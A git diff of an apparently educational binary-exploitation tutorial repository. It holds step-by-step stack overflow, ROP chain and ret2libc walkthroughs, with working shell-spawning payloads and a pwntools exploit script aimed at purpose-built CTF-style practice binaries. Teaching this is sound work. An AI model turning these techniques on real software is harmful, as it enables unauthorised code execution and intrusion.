diff --git a/.gdb_history b/.gdb_history deleted file mode 100644 index 0ceeaa5..0000000 --- a/.gdb_history +++ /dev/null @@ -1,2 +0,0 @@ -clear -q diff --git a/README.md b/README.md index 86dddb3..4802cf5 100644 --- a/README.md +++ b/README.md @@ -1,24 +1,26 @@ -#how2exploit_binary: get your hack on. +# how2exploit_binary: get your hack on. ### A note from the creator Greetings, fellow hacker, hobbyist, or computer enthusiast. If you've been looking for a place to start learning binary exploitation, then you're in luck. -This tutorial is intended for anyone with experience in coding, Ideally C or +This tutorial is intended for anyone with experience in coding, ideally C or C++, but I only knew Python when I started. + Written by someone who is just barely better than "incompetent," I'll be explaining how I learned my skills. These tutorials will be a bit long winded, but hopefully they will be informative and entertaining. Please feel free to contact me about any clarifications that should be included in the tutorials. -**This is intended for linux. It's free if you don't already have it. Don't +**This is intended for Linux. It's free if you don't already have it. Don't want to dual boot? Get a VM.** -Best of luck -bert88sta +[Bretley](https://github.com/Bretley) + +## The Grand Glossary of Terms -##The Grand Glossary of Terms I've compiled this list of as many useful things as I could find. It contains all sorts of goodies that I wish I had found or had explained to me earlier. If you have a question, it can probably be answered in here. Otherwise, get your @@ -26,29 +28,36 @@ Google-Fu on * [The Glossary](terms) -##External Tools. +## External Tools. + I strongly recommend you install and use the following tools to make your life a bit easier: * [longld/peda](https://github.com/longld/peda/): I use this tool in all of - these tutorials. It provides a wide range of useful functions and makes gdb -far more user friendly. Just follow the install instructions in the repo. + these tutorials. It provides a wide range of useful functions and makes `gdb` + far more user friendly. Just follow the installation instructions in the repo. * [Gallopsled/pwntools](https://github.com/Gallopsled/pwntools): pwntools is an exploit framework built in my favorite language, python. It has a whole slew -of useful functions and chicanery that makes the exploit process more fun and -less painful. It can be installed by running `sudo pip intall pwntools` - + of useful functions and chicanery that makes the exploit process more fun and + less painful. Install with: `$ sudo pip install pwntools` +## Introductory Tutorials: -##Introductory Tutorials: - +* [Setup Script](./install.sh) * [Intro 1: What is a binary, really?](intro-1) + * [Companion Video](https://youtu.be/6cNbKnxbAWw) + * [Areece x86 Calling Conventions](http://codearcana.com/posts/2013/05/21/a-brief-introduction-to-x86-calling-conventions.html) * [Intro 2: Screwing around with the stack](intro-2) -##Buffer Overflows and ROP: +## Buffer Overflows and ROP: + +* [1: The power of SEGFAULT](exercise-1) +* [2: Build your own `system()`](exercise-2) +* [3: Follow the Yellow Brick Functions](exercise-3) +* [3.5: Learning pwntools](exercise-3.5) +* [4: Pay a Visit to Your Local Library](exercise-4) + +## Heap Exploitation: -* [1: The power of SEGFAULT](exercise-1) -* [2: Build your own `system()`](exercise-2) -* [3: Follow the Yellow Brick Functions](exercise-3) -* [4: Pay a Visit to Your Local Library](exercise-4) +* More to come here soon ;) diff --git a/exercise-1/README.md b/exercise-1/README.md index 40e1966..cfd9d8c 100644 --- a/exercise-1/README.md +++ b/exercise-1/README.md @@ -1,9 +1,9 @@ -#The power of SEGFAULT - +# The power of SEGFAULT **Credit to [PicoCTF 2013](2013.picoctf.com) for problem** Consider our file for this exercise [overflow2.c](overflow2.c): + ```C #include #include @@ -28,27 +28,24 @@ int main(int argc, char **argv){ } ``` -Looking at the code for this program, you'll see they used `strcpy()` on our -argument. There are no size checks so we can easily try to overflow onto the -stack like before. You'll notice that there is no way `give_shell()` gets -called. Not yet at least ;) +Looking at the code for this program, you'll see the function `strcpy()` is called with our argument as a parameter. Since there are no size checks on our input, we can try to manipulate the stack just like before. You'll notice that there is no way `give_shell()` gets called. Not yet at least ;) + ``` $ ./overflow2 $(python -c 'print "A"*24') Segmentation fault (core dumped) ``` -Segmentation fault? What's this? Simply put, a segmentation fault simply means -that the program tried to access an address that isn't there. Let's use -`strace` to see what's really happening. +Segmentation fault? What's this? Simply put, a segmentation fault simply means that the program tried to access an address that isn't there. Let's use `strace` to see what's really happening. + ``` $ strace ./overflow2 $(python -c 'print "A"*32') ... ... --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x41414141} --- ``` -The address in question is 0x41414141, our four "A"s. What does this mean? -Consider the disassembly of the function `vuln()`, as well as `main()` where -it's called. + +The address in question is `0x41414141`, or four "A"s. What does this mean? Consider the disassembly of the function `vuln()`, as well as `main()` where it's called. + ``` $ gdb -q ./overflow2 Reading symbols from ./overflow2...(no debugging symbols found)...done. @@ -71,27 +68,20 @@ Dump of assembler code for function vuln: 0x080484fb <+25>: ret End of assembler dump. ``` -So you might remember from [Intro 2](../intro-2) that you can overwrite values -on the stack with a `strcpy()` vulnerability. In the lines of `main()` , -control is passed to the function`vuln()`. However, `vuln()` needs to know where to -come back to in `main()` when it finishes. This is called a return address. In -this case, `vuln()` should jump back to 0x0804851b, the instruction right after -`main()` calls `vuln()`. When we get a SEGFAULT that we control, that means -that we've overwritten the return address. What can we do with this? The -possibilites are pretty much endless. You have control over the code's flow, -so maybe we can call some other function, namely `give_shell()` + +You might remember from [Intro 2](../intro-2) that you can overwrite values on the stack with a `strcpy()` vulnerability. In the lines of `main()`, control is passed to the function `vuln()`. However, `vuln()` needs to know where to return to in `main()` when it finishes. This is called a return address. In this case, `vuln()` should jump back to `0x0804851b`, the instruction right after `main()` calls `vuln()`. When we get a SEGFAULT that we control, that means that we've overwritten the return address. What can we do with this? The possibilities are pretty much endless. You have control over the code's flow, so maybe we can call some other function, namely `give_shell()`. + ``` $ objdump -d overflow2 | grep give_shell 080484ad : ``` -Now that we have the address of a useful function, let's see if we can supply -*our own* return address. First, as you may remember from the last tutorial, -some of these characters aren't printable. We'll need to convert it to an -escape sequence and reverse the order, leaving us with this: "\xad\x84\x04\x08" -Now we can substitute it in! + +Now that we have the address of a useful function, let's see if we can supply *our own* return address. First, as you may remember from the last tutorial, some of these characters aren't printable. We'll need to convert it to an escape sequence and reverse the order, leaving us with this: `"\xad\x84\x04\x08"`. Now we can substitute it in! + ``` $ ./overflow2 $(python -c 'print "A"*28 + "\xad\x84\x04\x08"') $ ls overflow2 overflow2.c README.md ``` + We now have a shell! diff --git a/exercise-2/README.md b/exercise-2/README.md index 114b3e4..cd25e1b 100644 --- a/exercise-2/README.md +++ b/exercise-2/README.md @@ -1,13 +1,11 @@ -#Build your own `system()` +# Build your own `system()` -Well, life is tough. Unlike in the first overflow exercise, I've made this one -so that you can't just call a specific function and get a shell. However, we'll -try to solve it anyways. +Well, life is tough. Unlike in the first overflow exercise, there's no included function that you can call to get a shell. But let's try and get a shell anyways. ```C -#include -#include -#include +# include +# include +# include int main(int argc, char **argv) { if (argc>1) { @@ -23,11 +21,11 @@ int main(int argc, char **argv) { } ``` -Now unlike the last problem, you might notice that there is no call to -`system("/bin/sh")`. This means we're going to have to be a bit more clever. +Now unlike the last problem, you might notice that there is no call to `system("/bin/sh")`. This means we're going to have to be a bit more clever. Let's take a look at the disassembly to learn a bit more about `system()` -``` + +```gdb $ gdb -q ./overflow Reading symbols from ./overflow...(no debugging symbols found)...done. gdb-peda$ disas main @@ -41,30 +39,26 @@ Dump of assembler code for function main: 0x08048559 <+76>: movl $0x804865e,(%esp) 0x08048560 <+83>: call 0x80483d0 ``` -Now what is `system@plt`? This is a crucial part. This binary is dynamically -linked. This means that the binary makes calls to an actual libc file that gets -put into memory. Luckily for us, dynamically linked binaries have PLT stubs. -Since ASLR randomizes libc addresses as well, the binary needs some way to -reliably call the functions it uses. The PLT is a wrapper function for the -actual code in libc. **The PLT is a part of the binary, it's address doesn't -change.** If you call `system@plt`, you'll call `system()`. So how are we going -to do this? Since the PLT is a part of the binary, we'll use objump -``` + +Now what is `system@plt`? This is a crucial part. This binary is dynamically linked. This means that the binary makes calls to an actual libc file that gets put into memory. Luckily for us, dynamically linked binaries have PLT stubs. Since ASLR randomizes libc addresses as well, the binary needs some way to reliably call the functions it uses. The PLT is a wrapper function for the actual code in libc. **The PLT is a part of the binary, it's address doesn't change.** If you call `system@plt`, you'll call `system()`. So how are we going to do this? Since the PLT is a part of the binary, we'll use `objdump`. + +```objdump $ objdump -d overflow | grep system 080483d0 : 8048560: e8 6b fe ff ff call 80483d0 ``` Now let's try to break the binary. -``` + +```salt $ strace ./overflow $(python -c 'print "A"*44') ... --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x41414141} --- ``` -We get control of `$eip` after 40 bytes. `$eip` is the instruction pointer -register. This is the same as overwriting a return value. It simply means that -we have control over the control flow. Now let's supply our address. -``` + +We get control of `$eip` after 40 bytes. `$eip` is the instruction pointer register. This is the same as overwriting a return value. It simply means that we have control over the control flow. Now let's supply our address. + +```shell ./overflow $(python -c 'print "A"*40 + "\xd0\x83\x04\x08"') Good thing you don't have /bin/sh Good luck getting a shell. @@ -72,18 +66,14 @@ You Lose! sh: 1: ������: not found Segmentation fault (core dumped) ``` -Now this is really weird. What happened here is that we called `system()`. -We didn't provide any arguments for `system()` so it just pulled some junk from -the stack. Calling a function in an exploit has to take this form: + +Now this is really weird. What happened here is that we called `system()`. We didn't provide any arguments for `system()` so it just pulled some junk from the stack. Calling a function in an exploit has to take this form: \[address of function\] \[return address\] \[argument\] -Now when the programmer wrote this, (I wrote this one :P) he thought he could -be smart and make fun of you for not having a "/bin/sh" string. However, he -didn't realize that by including that string in the code, the string is in the -binary. We can use gdb to find the string! +Now when the programmer wrote this, (I wrote this one :P) he thought he could be smart and make fun of you for not having a `"/bin/sh"` string. However, he didn't realize that by including that string in the code, the string is in the binary. We can use `gdb` to find the string! -``` +```gdb $ gdb -q ./overflow Reading symbols from overflow...(no debugging symbols found)...done. gdb-peda b*main @@ -98,9 +88,9 @@ overflow : 0x804963a ("/bin/sh") libc : 0xf7f82a24 ("/bin/sh") ``` -Now you'll notice that two of these are in the binary. I'll just pick the first -one and run with it. Finally, our finished exploit looks like so: -``` +Now you'll notice that two of these are in the binary. I'll just pick the first one and run with it. Finally, our finished exploit looks like so: + +```shell ./overflow $(python -c 'print "A"*40 + "\xd0\x83\x04\x08" + "FAKE" + "\x3a\x86\x04\x08"') ``` diff --git a/exercise-3.5/README.md b/exercise-3.5/README.md new file mode 100644 index 0000000..d06e561 --- /dev/null +++ b/exercise-3.5/README.md @@ -0,0 +1,62 @@ +# pwntools Overview + +**Documentation: https://pwntools.readthedocs.io** + +First things first: + +```python +from pwn import * +``` + +That's just a generic import statement. + +```python +context(arch='i386', os='linux') +``` + +This just sets the context for other functions that we'll describe later. + +```python +binary = ELF("some_challenge") +libc = ELF("some_libc") +``` + +This part adds two ELF objects, binary and libc. ELF objects are supremely useful -- they give you access to a wide array of methods and data fields. I almost always have both of these lines in my script, even if the libc one is commented out. + +```python +r = process("./some_challenge") +``` + +This simply executes the challenge (in the same directory.) + +Alternatively: + +```python +r = remote("127.0.0.1",1337) #<-- Replace with actual HOST,PORT +``` + +will run it remotely (many CTFs will not give you a full shell, just a host and +a port to connect to the binary.) + +Many of you will remember taking adresses and turning them into python +escape sequences by hand. + +If the address of the `write()` function is `0xdeadbeef`, the escaped address for `write()` would be `\xef\xbe\xad\xde`. + +`pwntools` can take care of this for us! + +```python +write = p32(binary.symbols["write"]) +``` + +This "packs" (converts to the escape seqence, sort of) the address of `write()` for us on a 32 bit machine. `p64()` also exists, for 64 bit machines. Another thing to be cognizant of is the difference between Big and Little Endian memory encoding. Make sure you know what format the system you're writing an exploit for is using. + +Assuming `r` is an instantiated process or remote, you can now use these methods to communicate with the binary. + +```python +r.sendline("This sends a string with a newline appended to the end") +r.send("This also sends a string") +``` + +Reading this information is one thing. Getting real experience is another. +**At this point I would strongly recommend solving the first 3 challenges using pwntools.** diff --git a/exercise-3/README.md b/exercise-3/README.md index 34c8a9d..addfb27 100644 --- a/exercise-3/README.md +++ b/exercise-3/README.md @@ -1,10 +1,10 @@ -#Follow the Yellow Brick Functions +# Follow the Yellow Brick Functions -In this problem, I smartened up. Nowhere in the binary will you find "/bin/sh" +In this problem, I smartened up. Nowhere in the binary will you find `"/bin/sh"` ```C -#include -#include +# include +# include int main(int argc, char **argv) { putenv("PATH="); printf("I've broken up my system call!\n"); @@ -28,33 +28,23 @@ int main(int argc, char **argv) { } ``` -As you'll remember from the previous exercise, putting "/bin/sh" in the binary -was a mistake. This problem is geared very similarly with a little bit of extra -finesse. First things first, we'll find the offset of `%eip` +As you'll remember from the previous exercise, putting `"/bin/sh"` in the binary was a mistake. This problem is geared very similarly with a little bit of extra finesse. First things first, we'll find the offset of `%eip` -``` +```gdb $ strace ./overflow $(python -c 'print "A"*76 + "BBBB"') ... --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x42424242} --- ``` -After 76 bytes we have `%eip`! From here we have to get a bit clever. If you -take anything from this exercise, it's this: **If it's in the binary without -PIE enabled, you have access to it.** This gives us access to the `strcat()` -and `strcpy()` functions. We can use these to cleverly get ourselves a shell. +After 76 bytes we have `%eip`! From here we have to get a bit clever. If you take anything from this exercise, it's this: **If a function is in the binary an PIE is not enabled, you have access to the function.** This means we can access to the `strcat()` and `strcpy()` functions. We can use these to cleverly get ourselves a shell. -Now, for a quick introduction to the `.bss` segment. It is a part of the binary -used by linkers and compilers to initialize some variables (I think?). -Regardless of what the program uses the `.bss` for, just know that it's a -scratch pad for hackers. We can use it to reliably store data when the stack is -randomized. We could use the GOT, but it might mess up functions we need. -Knowing this, how can we get a shell? +Now, for a quick introduction to the `.bss` segment. `.bss` refers to the part of data memory used by many compilers and linkers for holding statically-allocated variables that are not explicitly initialized to any value. Regardless of what the program uses the `.bss` segment for, know that it's a scratch pad for hackers. We can use it to reliably store data when the stack is randomized. We could use the GOT, but it might mess up functions we need. Knowing this, how can we get a shell? -The answer lies in the functions used. We have the strings "/b" and "in/" in -the binary. We also have "sh" at the end of the second print statement! :D +The answer lies in the functions used. We have the strings `"/b"` and `"in/"` in the binary. We also have `"sh"` at the end of the second print statement! :D -Let's use objdump to get some function addresses: -``` +Let's use `objdump` to get some function addresses: + +```objdump $ objdump -d overflow | grep ">:" ... 08048370 : @@ -63,9 +53,9 @@ $ objdump -d overflow | grep ">:" 080483a0 : ``` -Next we will need to find the start of the .bss segment +Next, we will need to find the start of the `.bss` segment: -``` +```gdb $ gdb -q ./overflow Reading symbols from ./overflow...(no debugging symbols found)...done. gdb-peda$ info address __bss_start @@ -74,12 +64,16 @@ Symbol "__bss_start" is at 0x804a030 in a file compiled without debugging. Now our exploit (abstractly) is as follows: -``` -strcpy(&bss, &"/b" );strcat(&bss, &"in/");strcat(&bss,&"sh");system(&bss) +```c +strcpy(&bss, &"/b" ); +strcat(&bss, &"in/"); +strcat(&bss,&"sh"); +system(&bss) ``` We'll need the addresses of strings in the binary: -``` + +```gdb $ gdb -q ./overflow Reading symbols from ./overflow...(no debugging symbols found)...done. gdb-peda$ b*main @@ -104,26 +98,19 @@ overflow : 0x80486ce --> 0x75006873 ('sh') overflow : 0x80496ce --> 0x75006873 ('sh') ``` -Now with these we can learn one more importand concept: Chaining Functions. -In order to chain functions together we need to somehow remove the arguments -off of the stack. As you know from before, standard x86 function calls look -like: +Now that we have everything we need, we can learn one more important concept: Chaining Functions. If you only need to call one function to get a shell, you don't need to chain. Otherwise, we need to chain functions. + +In order to chain functions together we need to somehow remove the arguments from the stack. As you know from before, standard x86 function calls look like: \[function address\] \[return address\] \[arg1\] \[arg2\] ... -If you only need to call one function to get a shell, you don't need to chain. -The first function will run, then the return address, then the program -will SEGFAULT when it tried to run the argument as code. We can't have the -program trying to run our arguments, so we need to pop them off of the stack. +The first function will run, then the return address, then the program will SEGFAULT when it tries to run the argument as code. We can't have the program trying to run our arguments, so we need to pop them off of the stack. -This requires our first ROPgadget. A ROPgadget is defined as being any set of -instructions in a binary that ends with a ret instruction. In order to find these, you can use -ropshell.com , gdb-peda, or ROPgadget. We need a pop;pop;ret gadget since we -need to pop two arguments off of the stack for every function call except -system. Since system is our last call, we don't need a pop ret gadget for it. +This requires the use of Return Oriented Programming, or a ROP exploit. ROP uses any set of instructions in a binary that ends with a `ret` instruction. In order to find these, you can use `ropshell.com`, `gdb-peda`, or `ROPgadget`. We need a `pop;pop;ret` gadget since we need to pop two arguments off of the stack for every function call except system. Since system is our last call, we don't need a `pop;ret` gadget for it. -I'll use gdb-peda -``` +I'm using `gdb-peda` in this example. + +```gdb $ gdb -q ./overflow Reading symbols from ./overflow...(no debugging symbols found)...done. gdb-peda$ b*main @@ -139,24 +126,33 @@ Searching for ROP gadget: '' in: binary ranges ``` Luckily for us, the binary has the gadget we need! Chaining functions will take -this form in our exploit (and future ones for that matter!) +this form in our exploit (and future ones, too!) \[&function\] \[&rop_gadget\] \[&arg1\] \[&arg2\] \[&next_function\] -You can use any amount of arguments as long as you have a rop gadget with -equally as many pops +You can use any number of arguments as long as you have a rop gadget with the same number of pops. Let's give the exploit a try: - ``` /overflow $(python -c 'print "A"*76 + "\x80\x83\x04\x08" + "\x3e\x86\x04\x08" + "\x30\xa0\x04\x08" + "\x4e\x95\x04\x08" + "\x70\x83\x04\x08" + "\x3e\x86\x04\x08" + "\x30\xa0\x04\x08" + "\x65\x95\x04\x08" + "\x70\x83\x04\x08" + -"\x3e\x86\x04\x08" + "\x30\xa0\x04\x08" + "\xce\x96\x04\x08" + +"\x3e\x86\x04\x08" + "\x30\xa0\x04\x08" + "\xce\x96\x04\x08" + "\xa0\x83\x04\x08" + "FAKE" + "\x30\xa0\x04\x08"') ``` -You should get a shell (Although It might we a weird one and not let you do -anything. I forgot to set privs :/ The concept still stands :P) +The layout of the exploit looks like the following: + +``` + + + + + +<"/b"> + + + + <"/in"> + + + + <"sh"> + + + +``` + + +You should get a shell, although you won't be able to do much as we didn't set privs. The concept, however, still stands. diff --git a/exercise-3/peda-session-date.txt b/exercise-3/peda-session-date.txt deleted file mode 100644 index 5290d54..0000000 --- a/exercise-3/peda-session-date.txt +++ /dev/null @@ -1,3 +0,0 @@ -break *main -disable - diff --git a/exercise-3/peda-session-overflow.txt b/exercise-3/peda-session-overflow.txt deleted file mode 100644 index 427566f..0000000 --- a/exercise-3/peda-session-overflow.txt +++ /dev/null @@ -1,2 +0,0 @@ -break *main - diff --git a/exercise-4/.gdb_history b/exercise-4/.gdb_history new file mode 100644 index 0000000..f108290 --- /dev/null +++ b/exercise-4/.gdb_history @@ -0,0 +1,15 @@ +file exercise-4 +disas main +b*main+194 +r < <(python -c 'print "A"*140 + "\x7d\x84\x04\x08" + "A"*148') +x /150wx $esp +x /150wx $esp-0x40 +x /150wx $esp+0x40 +x /150wx $esp-0x40 +x /150wx $esp-0x100 +q +p &bss +p &__bss_start +info file +p &__bss_start +q diff --git a/exercise-4/README.md b/exercise-4/README.md index f8b1e65..2530939 100644 --- a/exercise-4/README.md +++ b/exercise-4/README.md @@ -1,53 +1,155 @@ -#Pay a visit to your Local Library +# Pay your local library a visit -At this point you're probably used to hunting through binaries for useful -functions or code that you can use to get a shell. But what do you do without a -call to `system()`? +At this point you're probably used to hunting through binaries for useful functions or code that you can use to get a shell. But what do you do without a call to `system()`? The simple answer: get a shell anyways. :) -The long answer is a bit more complicated. This attack is called a return to -libc, or ret2libc for short. If you don't remember the PLT and GOT from before, -now is a good time to check the [glossary](../terms) and maybe do some -googling. You'll recall that ASLR randomizes the libc address, but the good -news is that with arbitrary `read()` and `write()` you can easily circumvent -this. +The long answer is a bit more complicated. This attack is called a "Return to `libc`", or `ret2libc` for short. If you don't remember the PLT and GOT from before, now is a good time to check the [glossary](../terms) and maybe do some googling. You'll recall that ASLR randomizes the libc address, but the good news is that with arbitrary `read()` and `write()` calls, you can easily circumvent this. -This binary has what we call Dynamic Input, which is some super fancy -ego-inflating jargon that means we can change inputs in the same program. -Basically any program where you can trigger the vulnerability twice (or more) with -different exploits in the same run is dynamic. If it still doesn't make sense, -just stay tuned. +This binary has what we call Dynamic Input, which is some super fancy ego-inflating jargon that means we can change inputs in the same program. Basically any program where you can trigger the vulnerability twice (or more) with different exploits in the same run is dynamic. If it still doesn't make sense, just stay tuned. If you haven't already, run through [Exercise 3.5: Intro to pwntools](../exercise-3.5) Seriously, go do that. -Now that you've made it this far, I'll give a brief overview of this style of -exploit. The libc functions that the PLT stubs call aren't just some magical -ethereal functions. They're real and they're mapped to a real page in memory -with an address that you can call if you're clever. **The entire libc is in -the binary.** From here, we exploit the fact that truly randomizing everything -is computationally expensive. Instead, ASLR only randomizes the **base -address** of the libc. This means that &function_1 - &function_2 is constant as -long as you're using the same libc file. With this in mind, the goal is to leak -(`write()`) the address of some libc function to stdout. we then take that -address, compute the address of system, call `main()` (or whatever function -contains the vulnerability) again, and call `system()` with the newly computed -address. +Now that you've made it this far, I'll give a brief overview of this style of exploit. The libc functions that the PLT stubs call aren't just some magical ethereal functions. They're real and they're mapped to a real page in memory with an address that you can call if you're clever. **The entire libc is in the binary.** From here, we exploit the fact that truly randomizing everything is computationally expensive. Instead, ASLR only randomizes the **base address** of the libc. This means that `&function_1 - &function_2` is constant as long as you're using the same libc file. With this in mind, the goal is to leak (`write()`) the address of some libc function to stdout. we then take that address, compute the address of system, call `main()` (or whatever function contains the vulnerability) again, and call `system()` with the newly computed address. Still confused? I was when I first learned this, but I'll try to explain as I go. - First, we have to calculate the offset of `%eip` -``` + +```shell $ python -c 'print "A"*140 + "BBBB"' | strace ./exercise-4 ... --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x42424242} --- ``` -After 140 bytes, we have `%eip` +After `140 bytes`, we have `%eip` + +From here, we need to leak the address of a `libc` function. + +We can do this by calling `write(1, &function, 4)` + +I'll be using the GOT address of `read()` (remember that the GOT is an array of pointers into libc) + +```objdump +$ objdump -d exercise-4 | grep ">:a" +... +08048370 : +... + +$ objdump -R exercise-4 +... +0804a00c R_386_JUMP_SLOT read +... +``` + +With these addresses, we get the following exploit. + +```shell +python -c 'print "A"*140 + "\x70\x83\x04\x08" + "RETN" + +"\x01\x00\x00\x00"+ "\x0c\xa0\x04\x08" + "\x04\x00\x00\x00"' | ./exercise-4 +``` + +If you go ahead and run this a few times, you'll get some weird outputs: + +```shell +�+o�Segmentation fault (core dumped) +�kh�Segmentation fault (core dumped) +��n�Segmentation fault (core dumped) +``` + +The four bytes before the SEGFAULT are the libc address. + +From here, we're going to run: + +```shell +$ ldd exercise-4 + linux-gate.so.1 => (0xf76f9000) + libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf753c000) + /lib/ld-linux.so.2 (0xf76fa000) +``` + +Since this is a local binary challenge, the `libc` file is just going to be whatever the standard one is on your computer. **The same binary running on a different machine could have a different `libc`, and therefore give you different results.** + +All we have to do is grab a copy of that `libc` and put it in our directory. If you ever exploit a remote binary and you don't have the `libc`, there are plenty of places you can get them online. + +```shell +$ cp /lib/i386-linux-gnu/libc.so.6 ./ +``` + +Now we need `pwntools`. -From here, we need to leak the address of a libc function. +We'll start our script off with the typical items: +```Python +from pwn import * +context(arch='i386', os='linux') # <-- Add the architecture and os +binary = ELF("exercise-4") +libc = ELF("libc.so.6") +r = process("./exercise-4") +``` + +After this, we know we'll need the `read()`, `write()`, the GOT address of `read()`, and a `pop; ret` ropgadget, so we add these in. + +```python +write_plt = p32(binary.symbols["write"]) +read_GOT = p32(binary.symbols["got.read"]) +read_plt = p32(binary.symbols["read"]) +bss_addr = p32(binary.symbols["__bss_start"]) +pop_ret = "\x9d\x85\x04\x08" +``` + +Now the binary outputs a line first, so we add: + +```python +r.recvline() +``` + +Now we should start building our exploit. We want to try to avoid using the escape strings from before, it makes for nicer code and forces you to use `pwntools` the right way. + +```python +exploit = "A"*140 # EIP offset +exploit += write_plt +pop_ret + p32(1)+ read_GOT + p32(4) # Call to write() +exploit += p32(binary.symbols["main"]) # Call main() again to retrigger the vulnerability + +``` + +Now we want to send the first payload: + +```python +r.sendline(exploit) +``` + +Now here's the cool part. Since we know that the program prints out the address of `read()` in the `libc` (remember those funky bytes from earlier before the SEGFAULT?) we can take those and calculate the base address of `libc`. This indirectly means that we can call any function in the standard library. + +```python +addr_read = int(r.recv(4)[::-1].encode("hex"),16) +r.recvline() +libc_base = addr_read - libc.symbols["read"] +system = p32(libc_base + libc.symbols["system"]) +``` + +Let's break down my hacky `addr_read` line. + +1. `recv()` 4 bytes from `r` +2. Reverses the remaining bytes (because of little endian encoding) and converts them to hex +3. Parse that as an integer. + +Voila! We now have the address of `read()` in `libc`. + +From there, we subtract `read()`s address in the regular libc, giving us the base address for this runtime. In the last line, we add the offset of `system()` in the libc to our calculated base. This gives us the address of system for this runtime. + +The best part of this whole show is that the pesky `"/bin/sh"` string we need is in `libc`! We can calculate the address of that as well! + +```python +binsh = p32(libc_base + libc.search("/bin/sh").next()) +``` + +Now all we've got to do is send our exploit with some extra padding (it was 140 before, but now it's 148 since we overflow from before the stack frame) and we get a shell. + +```python +r.sendline("A"*148+ system + "RETN" + binsh + binsh) # <- 148?????? why 148? +r.interactive() +``` diff --git a/exercise-4/soln_exercise-4.py b/exercise-4/soln_exercise-4.py index 8e2feae..9170f39 100644 --- a/exercise-4/soln_exercise-4.py +++ b/exercise-4/soln_exercise-4.py @@ -4,24 +4,26 @@ libc = ELF("libc.so.6") write_plt = p32(binary.symbols["write"]) +read_GOT = p32(binary.symbols["got.read"]) read_plt = p32(binary.symbols["read"]) bss_addr = p32(binary.symbols["__bss_start"]) -print binary.symbols - +pop_ret = "\x9d\x85\x04\x08" r=process("./exercise-4") -""" You can use these to test it as a server over localhost - +""" +You can use these to test it as a server over localhost r=remote("127.0.0.1",1337) -socat tcp-listen:1337,fork,reuseaddr exec:"strace ./exercise-4" + +run this in a different terminal VVVV +socat tcp-listen:1337,fork,reuseaddr exec:"strace ./exercise-4" """ r.recvline() -exploit = "A"*140 -exploit += write_plt + "\x9d\x85\x04\x08" + "\x01\x00\x00\x00"+ "\x0c\xa0\x04\x08" + "\x04\x00\x00\x00" +exploit = "A"*140 +exploit += write_plt +pop_ret + p32(1)+ read_GOT + p32(4) exploit += p32(binary.symbols["main"]) r.sendline(exploit) @@ -30,5 +32,5 @@ libc_base = addr_read - libc.symbols["read"] system = p32(libc_base + libc.symbols["system"]) binsh = p32(libc_base + libc.search("/bin/sh").next()) -r.sendline("A"*148+ system + "POOP" + binsh + binsh) # <- 148?????? why 148? +r.sendline("A"*148+ system + "RETN" + binsh + binsh) # <- 148?????? why 148? r.interactive() diff --git a/install.sh b/install.sh new file mode 100755 index 0000000..5d18434 --- /dev/null +++ b/install.sh @@ -0,0 +1,22 @@ +# Update first +apt-get -y update; + +# Basic Programs that need installed +apt-get -y install gdb; +apt-get -y install gdbserver; +apt-get -y install git; +apt-get -y install python-dev; +apt-get -y install socat; +apt-get -y install vim; +apt-get -y install python-pip; +apt-get -y install gcc-multilib; + +pip install capstone; + +# This shouldn't take 3 tries.... +pip install pwntools; +pip install pwntools; +pip install pwntools; + +git clone https://github.com/longld/peda.git +echo "source ~/peda/peda.py" >> ~/.gdbinit diff --git a/intro-1/README.md b/intro-1/README.md index 4076fe7..775a7ac 100644 --- a/intro-1/README.md +++ b/intro-1/README.md @@ -1,34 +1,33 @@ -#Intro 1: What is a binary, really? +# Intro 1: What is a binary, really? -In short, a binary is what happens when you take high level code such as C or -C++, and compile it into something the computer can actually run. I believe in -hands on learning, so we can take a look inside one to really find out. +In short, a binary is the output file that the computer can actually run when you compile high level code, such as C or C++. I believe in hands on learning, so we can take a look inside one to really find out. Consider the file [hello_world.c](hello_world.c): ```C -#include +# include int main() { printf("Hello World!\n"); } ``` -This is your average C file, more or less. It's got a main, some includes, and -a little bit of code to be run. However, your computer can't actually run it. -In order to make it usable, we can run: -``` +This is your average C file, more or less. It's got a main function, some includes, and a little bit of code to be run. However, your computer can't actually run it. In order to make it usable, we must compile it: + +```shell $ gcc -m32 hello_world.c -o hello_world.bin ``` -You can ignore the `-m32` argument (you'll learn about it later), but the -`-o hello_world.bin` simply specifies what the name of the output file is. + +You can ignore the `-m32` argument (we'll talk about it later), but the `-o hello_world.bin` simply specifies what the name of the output file is going to be. From here, we can execute it: -``` + +```shell $ ./hello_world.bin Hello World! ``` -Unsurprisingly, we get "Hello World!" as the output. But let's go a bit deeper. -We can open gdb (GNU Debugger) and see what's happening under the hood: -``` + +Unsurprisingly, we get `"Hello World!"` as output. But let's go a bit deeper. We can open `gdb (GNU Debugger)` and see what's happening under the hood: + +```gdb $ gdb -q ./hello_world.bin Reading symbols from ./hello_world.bin...(no debugging symbols found)...done. gdb-peda$ disas main @@ -44,40 +43,30 @@ Dump of assembler code for function main: End of assembler dump. gdb-peda$ quit ``` -Firstly, your prompt probably looks like `(gdb)`, whereas mine is `gdb-peda$`. -Don't worry about this, my gdb is modified. -The weird stuff that gdb showed us is called assembly language. It's -essentially the lowest level human readable code out there. Each line of that -code maps one to one with a machine instruction. Let me break this down for -you. +Your prompt probably looks like `(gdb)`, whereas mine is `gdb-peda$`. Don't worry about this, my gdb is modified. -``` +The weird code that `gdb` displayed is called assembly language. It's the lowest level human readable code out there. Each line maps directly to a machine instruction. Let's break this down. + +```asm 0x0804841d <+0>: push %ebp 0x0804841e <+1>: mov %esp,%ebp 0x08048420 <+3>: and $0xfffffff0,%esp 0x08048423 <+6>: sub $0x10,%esp ``` -First, the numbers you see on the left are addresses. Just like your house -address, `0x0804841d` is where the instruction ` push %ebp` lives. These -first four instructions are just conventions for a function, in this case -`main()`. -``` +The hex numbers you see on the left are addresses. You can think of these just like your house address: `0x0804841d` is where the instruction `push %ebp` lives. These first four instructions are just conventions for a function, in this case `main()`. + +```asm 0x08048426 <+9>: movl $0x80484d0,(%esp) 0x0804842d <+16>: call 0x80482f0 ``` -These instructions are what actually prints out our "Hello World!". The program -moves the address of the string "Hello World!" into the memory that `%esp` -points to. `%esp` is a register. It holds four bytes of information for quick -access, usually some address. Our program then calls `puts()`, which prints out 